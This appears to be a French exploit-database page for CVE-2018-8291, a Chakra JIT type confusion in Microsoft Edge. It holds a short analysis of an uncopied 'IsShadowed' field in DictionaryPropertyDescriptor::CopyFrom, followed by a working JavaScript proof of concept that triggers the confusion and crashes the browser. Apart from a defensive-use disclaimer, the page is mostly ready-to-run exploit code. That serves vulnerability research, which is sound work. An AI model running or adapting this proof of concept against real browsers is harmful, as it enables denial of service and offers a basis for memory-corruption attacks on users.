Exploit matérialisé

CVE-2018-8291

HIGH

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB dos windows Vérifié

Source

Microsoft Edge Chakra JIT - 'DictionaryPropertyDescriptor::CopyFrom' Type Confusion

Par Google Security Research

Comment tester cet exploit

Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.

Code js

/*
Here's the method.
    template <typename TPropertyIndex>
    template <typename TPropertyIndexFrom>
    void DictionaryPropertyDescriptor<TPropertyIndex>::CopyFrom(DictionaryPropertyDescriptor<TPropertyIndexFrom>& descriptor)
    {
        this->Attributes = descriptor.Attributes;
        this->Data = (descriptor.Data == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Data;
        this->Getter = (descriptor.Getter == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Getter;
        this->Setter = (descriptor.Setter == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Setter;
        this->IsAccessor = descriptor.IsAccessor;

#if ENABLE_FIXED_FIELDS
        this->IsInitialized = descriptor.IsInitialized;
        this->IsFixed = descriptor.IsFixed;
        this->UsedAsFixed = descriptor.UsedAsFixed;
#endif
    }

Given its name, I think that the method is supposed to copy all the fields from another descriptor to "this". But it actually leaves some fields uncopied. The "IsShadowed" field is one of them which indicates that a Let or Const variable has been declared in the global object with the same name as the name of a property of the global object. This lack of copying the "IsShadowed" field can lead to type confusion like in the PoC or uninitialized pointer dereference.

PoC:
*/

let x = 1;

this.x = 0x1234;  // IsShadowed

// Convert to BigDictionaryTypeHandler, CopyFrom will be used in the process.
for (let i = 0; i < 0x10000; i++) {
    this['a' + i] = 1;
}

// Set IsAccessor
this.__defineSetter__('x', () => {});

// Type confusion
this.x;